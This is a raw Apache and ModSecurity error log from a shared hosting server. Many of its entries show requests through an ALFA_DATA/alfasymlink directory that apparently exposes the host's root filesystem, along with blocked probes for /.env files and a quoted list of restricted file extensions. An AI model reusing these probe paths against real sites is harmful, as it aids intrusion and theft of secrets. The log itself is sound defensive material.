[Sun Oct 25 05:34:40.176416 2026] [security2:error] [pid 2799890:tid 2799890] [client 165.227.102.187:36810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NMGChNy-R5DAZy2u8iwAAAA0"]
[Sun Oct 25 05:35:22.869963 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.224.104.67:39569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:35:26.842305 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 98.83.72.38:44278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:35:31.002608 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 54.157.84.74:36186] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:35:38.876449 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 54.225.81.20:50901] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:35:44.896771 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 185.191.171.16:45578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/min_partial
[Sun Oct 25 05:36:03.054252 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 100.28.44.58:36371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:36:11.537210 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 184.73.47.24:45696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/slots/5/module/uevent
[Sun Oct 25 05:36:15.197952 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 23.21.228.180:10472] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:36:21.689820 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 185.191.171.8:24726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/objects
[Sun Oct 25 05:36:51.557973 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.225.24.180:16734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:37:03.314793 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 54.156.248.117:44191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/shpchp/remove_id
[Sun Oct 25 05:37:07.614984 2026] [ssl:error] [pid 2800300:tid 2800300] (5)Input/output error: [client 54.156.55.147:23696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:37:23.351081 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.205.163.103:1682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:37:31.350489 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 98.83.10.183:63445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4_wc
[Sun Oct 25 05:37:39.438194 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 100.29.63.24:51274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:37:55.490922 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 107.23.62.75:62859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:38:00.100322 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.169.102.85:3652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:38:15.488060 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.91.122.193:42688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:38:27.758888 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.171.141.42:58378] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:38:43.705141 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.211.105.134:64371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:38:47.502086 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 44.212.145.46:61344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:38:51.700913 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.212.106.171:53646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:39:07.713158 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 98.82.39.241:12198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:39:16.170589 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 3.232.39.98:26367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:39:27.647519 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 18.214.251.19:11874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ehci-pci/unbind
[Sun Oct 25 05:39:35.743514 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.206.93.215:47217] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:39:39.104363 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 185.191.171.16:25326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:39:43.744998 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 52.45.194.165:51143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/remove
[Sun Oct 25 05:39:47.823847 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.210.223.61:52925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:39:59.934282 2026] [ssl:error] [pid 2800173:tid 2800173] (5)Input/output error: [client 52.71.218.25:10199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:40:00.670900 2026] [proxy_fcgi:error] [pid 2800176:tid 2800176] [client 164.90.179.0:57766] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 05:40:11.713167 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 98.83.177.42:2585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:40:15.895243 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.208.193.63:53705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:40:33.528061 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 85.208.96.195:53670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/validate
[Sun Oct 25 05:40:39.920621 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.85.7.119:41367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:40:43.907728 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 54.152.163.42:58395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:40:50.152790 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 100.27.153.9:56878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:40:59.959512 2026] [authz_core:error] [pid 2799890:tid 2799890] [client 3.219.81.66:52388] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sun Oct 25 05:41:07.726583 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 34.225.24.180:17547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:12.024816 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.235.158.162:58180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:16.020498 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.205.120.22:60312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:19.407959 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 85.208.96.199:43844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/cpu_partial
[Sun Oct 25 05:41:19.705271 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.232.82.72:7876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:31.713834 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 54.147.238.89:21016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:35.743947 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 107.20.255.194:46951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:39.730894 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 3.231.193.38:58403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/uevent
[Sun Oct 25 05:41:43.988092 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.223.116.180:17116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:47.883294 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 100.28.57.133:31725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:51.745915 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.223.193.255:19072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:52.192704 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 185.191.171.18:55040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/ctor
[Sun Oct 25 05:41:55.632981 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.224.205.25:33102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:41:59.697300 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 98.83.226.125:7833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:07.706956 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 34.226.89.140:25919] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:08.627942 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.209:27094] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/oasisrcvucode.sys"] [unique_id "at3O8EXTOYRMtW9O7Qy2HAAAAAI"]
[Sun Oct 25 05:42:08.628331 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.209:27094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/oasisrcvucode.sys"] [unique_id "at3O8EXTOYRMtW9O7Qy2HAAAAAI"]
[Sun Oct 25 05:42:08.628644 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.209:27094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/oasisrcvucode.sys"] [unique_id "at3O8EXTOYRMtW9O7Qy2HAAAAAI"]
[Sun Oct 25 05:42:11.773708 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.156.55.147:56201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:11.773940 2026] [security2:error] [pid 2800173:tid 2800173] [client 54.156.55.147:56201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event1/subsystem/input1/properties"] [unique_id "at3O88nrA_pwq9mjVbUIZQAAAAY"]
[Sun Oct 25 05:42:11.773969 2026] [security2:error] [pid 2800173:tid 2800173] [client 54.156.55.147:56201] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/event1/subsystem/input1/properties"] [unique_id "at3O88nrA_pwq9mjVbUIZQAAAAY"]
[Sun Oct 25 05:42:32.478298 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.221.50.71:28148] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:35.710976 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.210.152.179:52841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:39.676138 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 98.82.214.73:22979] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/rescan
[Sun Oct 25 05:42:43.865138 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.206.249.188:24876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:47.580244 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 18.205.213.231:14170] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/rescan
[Sun Oct 25 05:42:55.648884 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.83.177.42:17624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:42:59.784013 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.2.191.202:26831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:15.836880 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.205.113.104:28833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:23.858585 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.226.106.93:45016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:27.671756 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.83.177.42:55105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:31.994562 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.197.76.210:13392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:35.978229 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.94.199.128:8871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:39.842412 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.208.146.193:59777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:43:43.910806 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 44.212.232.231:43821] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory4/subsystem/uevent
[Sun Oct 25 05:43:51.748321 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 35.172.125.172:4210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/remove
[Sun Oct 25 05:43:59.805897 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.213.46.222:5293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:03.928105 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.213.106.226:56736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:15.835462 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 18.210.58.238:45629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:16.921446 2026] [security2:error] [pid 2800176:tid 2800176] [client 123.207.65.62:48230] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at3PcMAclEqdWzgpj08wogAAAAc"], referer: http://sherwinpinturas.com
[Sun Oct 25 05:44:16.935843 2026] [authz_core:error] [pid 2800176:tid 2800176] [client 123.207.65.62:48230] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 05:44:18.448076 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 85.208.96.209:14264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:19.905351 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.209.137.234:59951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:28.029767 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 100.24.167.60:18286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:31.668816 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.0.218.219:30332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:35.791801 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 98.83.177.42:3066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource0
[Sun Oct 25 05:44:39.876342 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.202.88.37:6530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:44:59.750333 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.174.141.243:38026] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:03.938448 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.70.209.13:12548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:05.584938 2026] [security2:error] [pid 2799890:tid 2799890] [client 187.40.235.155:8880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3PoWChNy-R5DAZy2u8sgAAAA0"]
[Sun Oct 25 05:45:05.585162 2026] [security2:error] [pid 2799890:tid 2799890] [client 187.40.235.155:8880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3PoWChNy-R5DAZy2u8sgAAAA0"]
[Sun Oct 25 05:45:05.585494 2026] [security2:error] [pid 2799890:tid 2799890] [client 187.40.235.155:8880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3PoWChNy-R5DAZy2u8sgAAAA0"]
[Sun Oct 25 05:45:07.760069 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.225.9.97:15772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:12.439817 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.209.201.119:20395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:15.922892 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.210.155.69:5046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:19.726395 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 52.205.113.104:49453] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:23.622260 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.6.5.24:60595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:26.843618 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 185.191.171.16:20716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/cpu_slabs
[Sun Oct 25 05:45:28.238309 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.221.222.168:22881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:31.723557 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 54.84.147.79:15720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:36.637714 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 54.85.7.119:9213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:01/PNP0F13:00/physical_node/driver/uevent
[Sun Oct 25 05:45:38.777169 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 85.208.96.207:45812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:39.760921 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.218.35.239:13384] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:43.531447 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 3.224.104.67:26850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/uevent
[Sun Oct 25 05:45:47.657087 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 3.217.171.106:42767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:48.403552 2026] [security2:error] [pid 2806341:tid 2806341] [client 187.40.235.155:46078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3PzF7qbMmJbBwRWmCzRgAAAAA"]
[Sun Oct 25 05:45:48.403804 2026] [security2:error] [pid 2806341:tid 2806341] [client 187.40.235.155:46078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3PzF7qbMmJbBwRWmCzRgAAAAA"]
[Sun Oct 25 05:45:48.404198 2026] [security2:error] [pid 2806341:tid 2806341] [client 187.40.235.155:46078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at3PzF7qbMmJbBwRWmCzRgAAAAA"]
[Sun Oct 25 05:45:51.560155 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 23.21.250.48:26878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:55.761725 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.197.178.107:28224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:45:59.618963 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.44.174.136:64795] AH02013: coalesce failed to read from data bucket
